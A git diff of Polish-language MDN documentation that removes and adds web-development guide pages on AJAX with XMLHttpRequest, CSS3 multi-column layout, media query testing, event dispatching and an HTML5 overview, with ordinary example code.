+ +

Możesz przetestować ten przykład tutaj i zobaczyć testowy plik tutaj. +

Uwaga: Jeżeli strona wywołana przez XMLHttpRequest nie jest poprawionym XML-em (np. kiedy jest plikiem tekstowym), linia http_request.overrideMimeType('text/xml'); spowoduje pojawienie się błędów w konsoli JavaScript w Firefoksie 1.5 i późniejszych. Zostało to opisane na stronie: https://bugzilla.mozilla.org/show_bug.cgi?id=311724. Jest to zachowanie właściwe; ten artykuł zostanie niedługo poprawiony, aby dostosować się do tej zmiany. +

Uwaga 2: jeżeli wysyłasz zapytanie do skryptu, który ma zwrócić XML, zamiast do statycznego pliku XML, musisz ustawić nagłówki odpowiedzi, jeśli chcesz, aby zadziałało to także w Internet Explorerze. Jeżeli nie ustawisz nagłówka Content-Type: application/xml, IE zwróci błąd JavaScript "Object Expected" po wierszu, w którym próbujesz dostać się do XML-owego elementu. Jeżeli nie ustawisz nagłówka Cache-Control: no-cache, przeglądarka doda odpowiedź do pamięci podręcznej i nigdy nie wyśle żądania ponownie, sprawiając, że praca nad skryptem może być "kłopotliwa". +

Uwaga 3: jeżeli zmienna http_request jest używana globalnie, konkurujące funkcje wywołujące makeRequest() mogą nadpisywać siebie nawzajem, tworząc problemy. Określenie zmiennej http_request lokalnie dla funkcji i przekazywanie jej do funkcji alertContent() pozwala uniknąć takiej sytuacji. +

Uwaga 4: Aby zarejestrować funkcję zwrotną (callback function) onreadystatechange, nie możesz użyć argumentów. Dlatego też poniższy kod nie zadziała: +

+
http_request.onreadystatechange = alertContents(http_request); // (nie działa)
+
+

Z tego względu, aby zarejestrować tę funkcję pomyślnie, należy albo przekazać argumenty pośrednio poprzez funkcję anonimową, albo użyć http_request jako zmiennej globalnej. Oto przykłady: +

+
http_request.onreadystatechange = function() { alertContents(http_request); };  //1 (simultaneous request)
+http_request.onreadystatechange = alertContents;  //2 (global variable)
+
+

Metoda pierwsza pozwala mieć wiele zapytań przetwarzanych jednocześnie, a metoda trzecia może być używana jeśli http_request jest zmienną globalną. +

Uwaga 5: W przypadku błędu połączenia (na przykład kiedy serwer WWW został wyłączony), zostanie wyrzucony wyjątek w metodzie onreadystatechange podczas próby odczytania zmiennej .status. Z tego względu dobrze jest opakować wyrażenie if...then w try...catch. (Zobacz: https://bugzilla.mozilla.org/show_bug.cgi?id=238559). +

+
function alertContents(http_request) {
+
+        try {
+            if (http_request.readyState == 4) {
+                if (http_request.status == 200) {
+                    alert(http_request.responseText);
+                } else {
+                    alert('Wystąpił problem z tym żądaniem.');
+                }
+            }
+        }
+        catch( e ) {
+            alert('Złapany wyjątek: ' + e.description);
+        }
+
+    }
+
+

Krok 4 – "Z archiwum X" czyli praca z odpowiedzią XML

+

W poprzednim przykładzie, po otrzymaniu odpowiedzi z serwera, użyliśmy właściwości responseText obiektu zapytania i zawierała ona treść pliku <tt>test.html</tt>. Teraz spróbujmy użyć właściwości responseXML. +

Przede wszystkim stwórzmy prawidłowy dokument XML, o który odpytamy potem serwer. Taki dokument (<tt>test.xml</tt>) może wyglądać tak: +

+
<?xml version="1.0" ?>
+<root>
+    Jestem testem.
+</root>
+
+

W skrypcie musimy tylko zmienić linię zapytania na: +

+
...
+onclick="makeRequest('test.xml')">
+...
+
+

Potem w alertContents() musimy zmienić linię alert(http_request.responseText); na: +

+
var xmldoc = http_request.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+
+

W ten sposób pobraliśmy obiekt XMLDocument, zwrócony przez responseXML i skorzystaliśmy z metod DOM, aby dostać się do danych zawartych w dokumencie XML. Możesz zajrzeć do dokumentu XML test.xml tutaj oraz do zaktualizowanego skryptu tutaj. +

Aby dowiedzieć się więcej o metodach DOM, zajrzyj do dokumentów Mozilla's DOM implementation. +

+
+
+{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pt": "pt/AJAX/Como_come\u00e7ar", "ru": "ru/AJAX/\u0421_\u0447\u0435\u0433\u043e_\u043d\u0430\u0447\u0430\u0442\u044c", "zh-cn": "cn/AJAX/\u5f00\u59cb", "zh-tw": "zh_tw/AJAX/\u4e0a\u624b\u7bc7" } ) }} diff --git "a/files/pl/web/guide/ajax/na_pocz\304\205tek/index.html" "b/files/pl/web/guide/ajax/na_pocz\304\205tek/index.html" deleted file mode 100644 index 1e4a4ec491..0000000000 --- "a/files/pl/web/guide/ajax/na_pocz\304\205tek/index.html" +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: Na początek -slug: Web/Guide/AJAX/Na_początek -tags: - - AJAX - - Wszystkie_kategorie -translation_of: Web/Guide/AJAX/Getting_Started ---- -

-

Ten artykuł pozwoli Ci poznać podstawy technologii AJAX oraz poda dwa proste, gotowe do użycia przykłady. -

-

Czym jest AJAX?

-

AJAX (Asynchronous JavaScript and XML) jest niedawno ukutą nazwą na dwie potężne cechy przeglądarek WWW, które, choć dostępne od lat, były pomijane przez wielu autorów stron, aż do niedawna, gdy na rynku ukazały się takie aplikacje, jak Gmail, Google Suggest i Google Maps. -

Dzięki tym cechom możesz: -

- -

Termin AJAX jest akronimem. A pochodzi od "asynchroniczny", co znaczy, że możesz wysyłać zapytania HTTP do serwera i robić inne rzeczy w trakcie oczekiwania na odpowiedź. JA pochodzi od "JavaScript", a X pochodzi od "XML". -

-

Krok 1 – powiedz "Poproszę!", czyli jak wykonać zapytanie HTTP

-

W celu stworzenia zapytania HTTP przy użyciu JavaScriptu, potrzebujesz instancji klasy, która posiada żądaną funkcjonalność. Taka klasa została po raz pierwszy wprowadzona w Internet Explorerze, jako obiekt ActiveX, pod nazwą XMLHTTP. Później Mozilla, Safari i inne przeglądarki również dodały taki obiekt, implementując klasę XMLHttpRequest, która obsługuje metody i właściwości oryginalnego obiektu ActiveX. -

W rezultacie, w celu stworzenia międzyprzeglądarkowej instancji (obiektu) potrzebnej nam klasy, należy wpisać: -

-
if (window.XMLHttpRequest) { // Mozilla, Safari, Opera ...
-    http_request = new XMLHttpRequest();
-} else if (window.ActiveXObject) { // IE
-    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-}
-
-

(Na potrzeby przykładu powyższy fragment jest lekko uproszczoną wersją kodu używanego do stworzenia instancji XMLHTTP. Bardziej "życiowy" przykład można znaleźć w punkcie 3. tego artykułu). -

Niektóre wersje przeglądarek opartych na technologii Mozilli nie zadziałają poprawnie, jeżeli odpowiedź z serwera nie będzie opisana XML-owym nagłówkiem mime-type. Aby rozwiązać ten problem, można użyć dodatkowej metody do nadpisania nagłówka wysyłanego przez serwer, jeśli nie jest to text/xml. -

-
http_request = new XMLHttpRequest();
-http_request.overrideMimeType('text/xml');
-
-

Następnie należy się zdecydować, co chcesz zrobić po otrzymaniu od serwera odpowiedzi na Twoje zapytanie. Na tym etapie wystarczy powiedzieć obiektowi zapytania HTTP, która funkcja JavaScript będzie opracowywała wynik. Można to uzyskać poprzez ustawienie właściwości onreadystatechange obiektu funkcji JavaScript, której będziesz używał, na przykład: -

http_request.onreadystatechange = nameOfTheFunction; -

Zwróć uwagę, że nie ma żadnych nawiasów za nazwą funkcji i nie są przekazywane żadne parametry, ponieważ chcemy przypisać referencję do tej funkcji, a nie wywołać ją. Można także, zamiast podawać nazwę funkcji, użyć techniki JavaScript do definiowania funkcji w locie (zwanej "funkcją anonimową") i określić akcje, które przetworzą wynik natychmiast, jak na przykład: -

-
http_request.onreadystatechange = function(){
-    // instrukcje
-};
-
-

Następnie, kiedy już zostało zadeklarowane, co będzie się działo zaraz po odebraniu odpowiedzi, należy wykonać zapytanie. W tym celu należy wywołać metody open() i send() klasy zapytania HTTP, tak jak na poniższym przykładzie: -

-
http_request.open('GET', 'http://www.example.org/some.file', true);
-http_request.send(null);
-
- - - -

Parametr metody send() może być dowolną daną, którą chcesz wysłać do serwera w przypadku użycia metody POST. Dane powinny być umieszczone w formie używanej przez ciągi zapytań, czyli: -

name=value&anothername=othervalue&so=on -

Należy pamiętać o zakodowaniu każdej wysyłanej wartości funkcją encodeURIComponent. Na przykład jeśli w środku, jakiegoś przesyłanego łańcucha znajdzie się znak & to "obetnie" nasz łańcuch. Opis tej funkcji w dokumentcji zawiera bardziej szczegółowe informacje. -

Zwróć uwagę na to, że jeśli chcesz wysłać dane metodą POST, musisz zmienić typ MIME swojego zapytania, używając składni: -

-
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
-

W przeciwnym wypadku, serwer odrzuci dane wysłane metodą POST. -

-

Krok 2 – "Voilà!", czyli obsługa odpowiedzi serwera

-

Pamiętasz, że w trakcie wysyłania zapytania została podana nazwa funkcji JavaScript, która została przygotowana do obsługi odpowiedzi? -

http_request.onreadystatechange = nazwaFunkcji; -

Zobaczmy, co ta funkcja powinna zrobić. Najpierw musi ona sprawdzić stan zapytania. Jeżeli status ma wartość 4, oznacza to, że udało się pobrać pełną odpowiedź z serwera i można kontynuować jej przetwarzanie. -

-
if (http_request.readyState == 4) {
-    // wszystko jest OK, odpowiedź została odebrana
-} else {
-    // ciągle nie gotowe
-}
-
-

Możliwe są następujące wartości readyState: -

- -

(Źródło) -

Następnie należy sprawdzić kod odpowiedzi serwera HTTP. Wszystkie możliwe kody są opisane na stronie W3C. W tym przypadku interesuje nas tylko odpowiedź 200 OK. -

-
if (http_request.status == 200) {
-    // świetnie!!
-} else {
-    // wystąpił jakiś problem z zapytaniem,
-    // na przykład odpowiedzią mogło być 404 (Nie odnaleziono)
-    // lub 500 (Wewnętrzny błąd serwera)
-}
-
-

Teraz, kiedy został już sprawdzony stan zapytania i kod statusu odpowiedzi, możesz zrobić co zechcesz z danymi otrzymanymi z serwera. Masz dwie możliwości dostania się do danych: -

- -

Krok 3 – "Do dzieła!" - Prosty przykład

-

Stwórzmy teraz proste zapytanie HTTP. JavaScript odpyta serwer o dokument HTML test.html, który zawiera tekst "Jestem testem.", a następnie wyświetlimy ten tekst przy użyciu funkcji alert(). -

-
<script type="text/javascript" language="javascript">
-
-    var http_request = false;
-
-    function makeRequest(url) {
-
-        http_request = false;
-
-        if (window.XMLHttpRequest) { // Mozilla, Safari,...
-            http_request = new XMLHttpRequest();
-            if (http_request.overrideMimeType) {
-                http_request.overrideMimeType('text/xml');
-                // Przeczytaj o tym wierszu poniżej
-            }
-        } else if (window.ActiveXObject) { // IE
-            try {
-                http_request = new ActiveXObject("Msxml2.XMLHTTP");
-            } catch (e) {
-                try {
-                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
-                } catch (e) {}
-            }
-        }
-
-        if (!http_request) {
-            alert('Poddaję się :( Nie mogę stworzyć instancji obiektu XMLHTTP');
-            return false;
-        }
-        http_request.onreadystatechange = function() { alertContents(http_request); };
-        http_request.open('GET', url, true);
-        http_request.send(null);
-
-    }
-
-    function alertContents(http_request) {
-
-        if (http_request.readyState == 4) {
-            if (http_request.status == 200) {
-                alert(http_request.responseText);
-            } else {
-                alert('Wystąpił problem z zapytaniem.');
-            }
-        }
-
-    }
-</script>
-<span
-    style="cursor: pointer; text-decoration: underline"
-    onclick="makeRequest('test.html')">
-        Odpytaj
-</span>
-
-

W tym przykładzie: -

- -

Możesz przetestować ten przykład tutaj i zobaczyć testowy plik tutaj. -

Uwaga: Jeżeli strona wywołana przez XMLHttpRequest nie jest poprawionym XML-em (np. kiedy jest plikiem tekstowym), linia http_request.overrideMimeType('text/xml'); spowoduje pojawienie się błędów w konsoli JavaScript w Firefoksie 1.5 i późniejszych. Zostało to opisane na stronie: https://bugzilla.mozilla.org/show_bug.cgi?id=311724. Jest to zachowanie właściwe; ten artykuł zostanie niedługo poprawiony, aby dostosować się do tej zmiany. -

Uwaga 2: jeżeli wysyłasz zapytanie do skryptu, który ma zwrócić XML, zamiast do statycznego pliku XML, musisz ustawić nagłówki odpowiedzi, jeśli chcesz, aby zadziałało to także w Internet Explorerze. Jeżeli nie ustawisz nagłówka Content-Type: application/xml, IE zwróci błąd JavaScript "Object Expected" po wierszu, w którym próbujesz dostać się do XML-owego elementu. Jeżeli nie ustawisz nagłówka Cache-Control: no-cache, przeglądarka doda odpowiedź do pamięci podręcznej i nigdy nie wyśle żądania ponownie, sprawiając, że praca nad skryptem może być "kłopotliwa". -

Uwaga 3: jeżeli zmienna http_request jest używana globalnie, konkurujące funkcje wywołujące makeRequest() mogą nadpisywać siebie nawzajem, tworząc problemy. Określenie zmiennej http_request lokalnie dla funkcji i przekazywanie jej do funkcji alertContent() pozwala uniknąć takiej sytuacji. -

Uwaga 4: Aby zarejestrować funkcję zwrotną (callback function) onreadystatechange, nie możesz użyć argumentów. Dlatego też poniższy kod nie zadziała: -

-
http_request.onreadystatechange = alertContents(http_request); // (nie działa)
-
-

Z tego względu, aby zarejestrować tę funkcję pomyślnie, należy albo przekazać argumenty pośrednio poprzez funkcję anonimową, albo użyć http_request jako zmiennej globalnej. Oto przykłady: -

-
http_request.onreadystatechange = function() { alertContents(http_request); };  //1 (simultaneous request)
-http_request.onreadystatechange = alertContents;  //2 (global variable)
-
-

Metoda pierwsza pozwala mieć wiele zapytań przetwarzanych jednocześnie, a metoda trzecia może być używana jeśli http_request jest zmienną globalną. -

Uwaga 5: W przypadku błędu połączenia (na przykład kiedy serwer WWW został wyłączony), zostanie wyrzucony wyjątek w metodzie onreadystatechange podczas próby odczytania zmiennej .status. Z tego względu dobrze jest opakować wyrażenie if...then w try...catch. (Zobacz: https://bugzilla.mozilla.org/show_bug.cgi?id=238559). -

-
function alertContents(http_request) {
-
-        try {
-            if (http_request.readyState == 4) {
-                if (http_request.status == 200) {
-                    alert(http_request.responseText);
-                } else {
-                    alert('Wystąpił problem z tym żądaniem.');
-                }
-            }
-        }
-        catch( e ) {
-            alert('Złapany wyjątek: ' + e.description);
-        }
-
-    }
-
-

Krok 4 – "Z archiwum X" czyli praca z odpowiedzią XML

-

W poprzednim przykładzie, po otrzymaniu odpowiedzi z serwera, użyliśmy właściwości responseText obiektu zapytania i zawierała ona treść pliku <tt>test.html</tt>. Teraz spróbujmy użyć właściwości responseXML. -

Przede wszystkim stwórzmy prawidłowy dokument XML, o który odpytamy potem serwer. Taki dokument (<tt>test.xml</tt>) może wyglądać tak: -

-
<?xml version="1.0" ?>
-<root>
-    Jestem testem.
-</root>
-
-

W skrypcie musimy tylko zmienić linię zapytania na: -

-
...
-onclick="makeRequest('test.xml')">
-...
-
-

Potem w alertContents() musimy zmienić linię alert(http_request.responseText); na: -

-
var xmldoc = http_request.responseXML;
-var root_node = xmldoc.getElementsByTagName('root').item(0);
-alert(root_node.firstChild.data);
-
-

W ten sposób pobraliśmy obiekt XMLDocument, zwrócony przez responseXML i skorzystaliśmy z metod DOM, aby dostać się do danych zawartych w dokumencie XML. Możesz zajrzeć do dokumentu XML test.xml tutaj oraz do zaktualizowanego skryptu tutaj. -

Aby dowiedzieć się więcej o metodach DOM, zajrzyj do dokumentów Mozilla's DOM implementation. -

-
-
-{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pt": "pt/AJAX/Como_come\u00e7ar", "ru": "ru/AJAX/\u0421_\u0447\u0435\u0433\u043e_\u043d\u0430\u0447\u0430\u0442\u044c", "zh-cn": "cn/AJAX/\u5f00\u59cb", "zh-tw": "zh_tw/AJAX/\u4e0a\u624b\u7bc7" } ) }} diff --git a/files/pl/web/guide/css/kolumny_css3/index.html b/files/pl/web/guide/css/kolumny_css3/index.html deleted file mode 100644 index 19d3c4285a..0000000000 --- a/files/pl/web/guide/css/kolumny_css3/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Kolumny CSS3 -slug: Web/Guide/CSS/Kolumny_CSS3 -tags: - - CSS - - CSS_3 - - Wszystkie_kategorie -translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts ---- -

-

-

Wprowadzenie

-

Czytanie tekstu wyświetlanego w długich wierszach jest trudne i męczące dla oczu - jeśli przenoszenie wzroku z końca jednej linii na początek drugiej zajmuje zbyt wiele czasu, łatwo jest zgubić się w tekście i rozpocząć czytanie niewłaściwego wiersza. Z tego powodu i aby w pełni wykorzystać szerokość ekranu, tekst na stronach internetowych - tak samo jak w gazetach - powinien być układany w sąsiadujących kolumnach o stałej szerokości. Niestety osiągnięcie tego efektu nie jest możliwe przy użyciu języków HTML i obecnego CSS bez wymuszania sztywnej wysokości kolumn, znacznego ograniczania dozwolonej składni wewnątrz tekstu bądź też bez stosowania skomplikowanych skryptów. -

Szkic specyfikacji CSS3 proponuje kilka nowych własności CSS, które rozwiązałyby ten problem. W Firefoksie 1.5 i następnych zaimplementowana została część tych własności i zachowują się one w sposób opisany przez szkic specyfikacji (z jednym wyjątkiem opisanym niżej).

Aby zobaczyć, jak działają kolumny CSS, odwiedź (korzystając z Firefoksa 1.5) blog Roberta O'Callahana. -

-

Stosowanie kolumn

-

Liczba i szerokość kolumn

-

Własności CSS pozwalają okreslić liczbę i szerokość kolumn, w jakich zostanie wyświetlony tekst na stronie: -moz-column-count oraz -moz-column-width. -

-moz-column-count pozwala ustalić liczbę kolumn. Na przykład: -

-
<div style="-moz-column-count:2">Z powodu trwających przygotowań do wydania Mozilli
-Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
-Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
-którego wydanie zaplanowane jest na czwartek.</div>
-
-

Powyższy tekst powinien zostać w Firefoksie 1.5 wyświetlony w dwu kolumnach: -

-
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
-

-moz-column-width pozwala natomiast określić minimalną pożądaną szerokość kolumn. Jeśli przy okazji własność -moz-column-count nie jest ustalona, przeglądarka automatycznie wyświetli tyle kolumn, ile zmieści się w jej oknie. Na przykład tekst: -

-
<div style="-moz-column-width:20em;">Z powodu trwających przygotowań do wydania Mozilli
-Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00).
-Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1,
-którego wydanie zaplanowane jest na czwartek.</div>
-
-

przeglądarka wyświetli następująco: -

-
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
-

Szczegóły dotyczące kolumn CSS opisano w szkicu specyfikacji CSS3. -

W przypadku wyświetlania wielokolumnowego, treść automatycznie przepływa do następnych kolumn, jeśli zachodzi taka potrzeba. Cała funkcjonalność HTML, CSS oraz DOM jest zachowana, podobnie jak możliwość edycji i drukowania. -


-

-

Wyrówywanie wysokości kolumn

-

Szkic specyfikacji CSS3 zakłada, że wysokości kolumn powinny być wyrównywane przez przeglądarkę w taki sposób, by wysokości treści w każdej kolumnie były możliwie najbardziej zbliżone. I to właśnie robi Firefox. -

Czasami jednak pojawia się potrzeba jednoznacznego zdefiniowania wysokości kolumn. W takim przypadku treść - w zależności od długości - wyświetlana powinna być w różnej, nieznanej projektantowi liczbie kolumn. Efekt ten zastosowano na stronach International Herald Tribune, gdzie jednak użyto w tym celu odpowiednich skryptów. Firefox rozszerza szkic specyfikacji CSS w taki sposób, że nadanie blokowi kolumn własności height powoduje wydłużanie się kolumn do określonej wysokości, a po osiągnięciu tejże - utworzeniu nowej kolumny. Zachowanie to jest bardzo przydatne przy tworzeniu układów stron WWW. -

-

Odstęp między kolumnami

-

Domyślnie, przeglądarka wyświetla kolumny jedna tuż obok drugiej, przylegające do siebie. Zazwyczaj jednak nie jest to zachowanie pożądane. Aby poprawić tę sytuację, można za pomocą CSS ustawić dla kolumn odpowiednie wartości marginesów wewnętrznych, często jednak o wiele łatwiej zastosować jest własność -moz-column-gap ustawianą dla bloku kolumn: -

-
<div style="-moz-column-width:20em; -moz-column-gap:2em;">Z powodu trwających
-przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś
-w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą
-przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div>
-
-
Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.
-

Czytelność w starszych przeglądarkach

-

Starsze przeglądarki ignorują własności -moz-column, dzięki czemu stosunkowo łatwo jest utworzyć stronę, której treść będzie wyświetlana w pojedynczej kolumnie w starszych przeglądarkach, a w wielu kolumnach w Firefoksie 1.5. -

-

Zakończenie

-

Kolumny w CSS3 to nowe narzędzie, które pomoże projektantom stron internetowych w najlepszy możliwy sposób wykorzystywać cenną powierzchnię ekranów uzytkowników. Dzięki takim opcjom jak automatycze wyrównywanie wysokości, kolumny na pewno znajdą wiele zastosowań w tworzeniu stron internetowych. -

-

Dodatkowe zasoby

- -{{ languages( { "en": "en/CSS3_Columns", "es": "es/Columnas_con_CSS-3", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ja": "ja/CSS3_Columns", "ko": "ko/CSS3_Columns" } ) }} diff --git a/files/pl/web/guide/css/sprawdzanie_media_queries/index.html b/files/pl/web/guide/css/sprawdzanie_media_queries/index.html deleted file mode 100644 index 140d3a1796..0000000000 --- a/files/pl/web/guide/css/sprawdzanie_media_queries/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Sprawdzanie media queries -slug: Web/Guide/CSS/Sprawdzanie_media_queries -translation_of: Web/CSS/Media_Queries/Testing_media_queries ---- -

{{SeeCompatTable}}

- -

DOM dostarcza funkcje, dzięki którym możliwym jest sprawdzenie wyników media query. Jest to możliwe przy użyciu interfejsu {{domxref("MediaQueryList") }} i jego funkcji oraz właściwości. Po utworzeniu obiektu {{domxref("MediaQueryList") }} możesz zbadać wynik zapytania (query) lub (dodatkowo) otrzymywać powiadomienie, gdy rezultat się zmieni.

- -

Tworzenie listy media query

- -

Zanim będziesz mógł ocenić wynik zapytania, musisz utworzyć obiekt {{domxref("MediaQueryList") }}, reprezentujący media query. Aby to uczynić użyj metody {{domxref("window.matchMedia") }}.

- -

Na przykład, jeśli chcesz ustalić czy orientacja urządzenia jest pionowa czy pozioma, możesz skorzystać z takiego zapytania jak poniżej:

- -
var mql = window.matchMedia("(orientation: portrait)"); /* sprawdzamy czy orientacja obiektu, jest pionowa; zwraca obiekt MediaQueryList */
-
- -

Sprawdzanie rezultatu zapytania (query)

- -

Po wykonaniu powyższej metody, mamy dostęp do obiektu {{domxref("MediaQueryList") }}, który ma kilka przydatnych metod i właściwości. Jedną z nich jest cecha matches, która zwraca prawdę lub fałsz.

- -
if (mql.matches) {
-  /* wykryta orientacja pionowa */
-} else {
-  /* wykryta orientacja pozioma */
-}
-
- -

Otrzymywanie powiadomień

- -

W przypadku, gdy chciałbyś na bieżąco dostawać alerty o stanie zapytania (query), skorzystaj z funkcji addListener(), która jest zdecydowanie wydajniejsza aniżeli sprawdzanie "ręcznie" co jakiś czas. By skorzystać z tego ułatwienia, wywołaj tę funkcję na obiekcie {{domxref("MediaQueryList") }}, określając obserwator, który implementuje interfejs {{domxref("MediaQueryListListener") }}:

- -
var mql = window.matchMedia("(orientation: portrait)");
-mql.addListener(zmianaOrientacji);
-zmianaOrientacji(mql);
-
- -

Powyższy kod tworzy media query list, a następnie dołącza listener. Zauważ, że po dodaniu listenera, przywołaliśmy listenera bezpośrednio - trzecia linijka. To pozwala nam określić aktualną orientację urządzenia.

- -

Zaimplementowana metoda zmianaOrientacji() pozwala nam wykonać pewne czynności, gdy zmieni się położenie urządzenia.

- -
function zmianaOrientacji(mql) {
-  if (mql.matches) {
-    /* wykryta orientacja pionowa */
-  } else {
-    /* wykryta orientacja pozioma */
-  }
-}
-
- -

Wyłączenie powiadomień

- -

Gdy nie potrzebujesz już powiadomień dotyczących zmiany wartości zapytania, możesz wywołać metodę removeListener() dostępną w obiekcie {{domxref("MediaQueryList") }}:

- -
mql.removeListener(zmianaOrientacji);
-
- -

Zgodność z przeglądarką

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("6.0") }}1012.15.1
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatUnknown}}1012.15
-
- -

Zobacz także

- - diff --git a/files/pl/web/guide/events/creating_and_triggering_events/index.html b/files/pl/web/guide/events/creating_and_triggering_events/index.html new file mode 100644 index 0000000000..82deba43c1 --- /dev/null +++ b/files/pl/web/guide/events/creating_and_triggering_events/index.html @@ -0,0 +1,34 @@ +--- +title: dispatchEvent - przykład +slug: DOM/dispatchEvent_-_przykład +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/Guide/Events/Creating_and_triggering_events +translation_of_original: Web/Guide/Events/Event_dispatching_example +--- +
+ {{ ApiRef() }}
+

Poniższy przykład przedstawia symulację kliknięcia w pole wyboru opartą o metody DOM. Możesz zobaczyć przykład w działaniu.

+
function simulateClick() {
+  var evt = document.createEvent("MouseEvents");
+  evt.initMouseEvent("click", true, true, window,
+    0, 0, 0, 0, 0, false, false, false, false, 0, null);
+  var cb = document.getElementById("checkbox");
+  var canceled = !cb.dispatchEvent(evt);
+  if(canceled) {
+    // metoda obsługi zdarzenia wywołała preventDefault
+    alert("canceled");
+  } else {
+    // nie wywołano preventDefault
+    alert("not canceled");
+  }
+}
+
+

 

+

 

+
+  
+

{{ languages( { "en": "en/DOM/dispatchEvent_example", "es": "es/DOM/dispatchEvent_example", "fr": "fr/DOM/dispatchEvent_exemple" } ) }}

diff --git a/files/pl/web/guide/html/html5/index.html b/files/pl/web/guide/html/html5/index.html new file mode 100644 index 0000000000..77e7775ce2 --- /dev/null +++ b/files/pl/web/guide/html/html5/index.html @@ -0,0 +1,172 @@ +--- +title: HTML5 +slug: HTML/HTML5 +tags: + - CSS3 + - HTML + - HTML 5 +translation_of: Web/Guide/HTML/HTML5 +--- +

HTML5 jest najnowszą wersją standardu opisującego język HTML. Termin ten możemy zdefiniować na dwa sposoby:

+ + + +

Zawarta poniżej treść przeznaczona jest do zastosowania przez wszystkich programistów, strona zawiera dużo informacji na temat technologii HTML5, która została opisana w kilku grupach podzielonych według ich funkcji.

+ + + +
+

Semantyka

+ +
+
Elementy sekcji zawarte w dokumencie HTML5
+
Poznaj nowe elementy przedstawiające sekcje dokumentu wprowadzone do HTML5: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}} i {{HTMLElement("aside")}}.
+
Zastosowanie elementów audio i video
+
Elementy {{HTMLElement("audio")}} i {{HTMLElement("video")}} pozwalają zagnieżdżać i zarządzać zawartością multimediów.
+
Formularze w HTML5
+
Spojrzenie na ulepszenia formularzy sieciowych w HTML5: wymuszenie poprawności API, kilka nowych atrybutów, nowe wartości dla atrybutów {{HTMLElement("input")}} {{htmlattrxref("type", "input")}} i nowego elementu {{HTMLElement("output")}}.
+
Nowe semantyczne elementy 
+
Obok sekcji, elementów mediów i formularzy, są liczne, nowe elementy takie jak: {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, lub {{HTMLElement("meter")}} i {{HTMLElement("main")}}, zwiększenie ilości elementów poprawności HTML 5.
+
Ulepszenia w {{HTMLElement("iframe")}}
+
Używając atrybutów {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}} i {{htmlattrxref("srcdoc", "iframe")}} , autorzy mogą teraz precyzyjniej określać poziom bezpieczeństwa i pożądane wyświetlanie elementów {{HTMLElement("iframe")}}.
+
MathML
+
Pozwala na bezpośrednie umieszczanie formuł matematycznych.
+
Wprowadzenie do HTML5
+
Ten artykuł pokazuje jak przekazać przeglądarce, że używasz HTML 5 na swojej stronie internetowej lub w aplikacji.
+
Parser zgodny z HTML5
+
Parser, który przetwarza dokument HTML na DOM, został rozszerzony i teraz precyzyjnie definiuje zachowanie we wszystkich przypadkach, nawet w wypadku niepoprawnego HTML-a. To prowadzi do znacznie większej przewidywalności zachowania strony i współpracy między przeglądarkami zgodnymi z HTML 5.
+
+ +

Połączenia

+ +
+
Web Sockets (dwukierunkowa komunikacja z serwerem)
+
Pozwala tworzyć stabilne połączenie pomiędzy stroną i serwerem, i  wymieniać nie-HTML-owe dane.
+
Server-Sent Events (zdarzenia wysłane przez serwer)
+
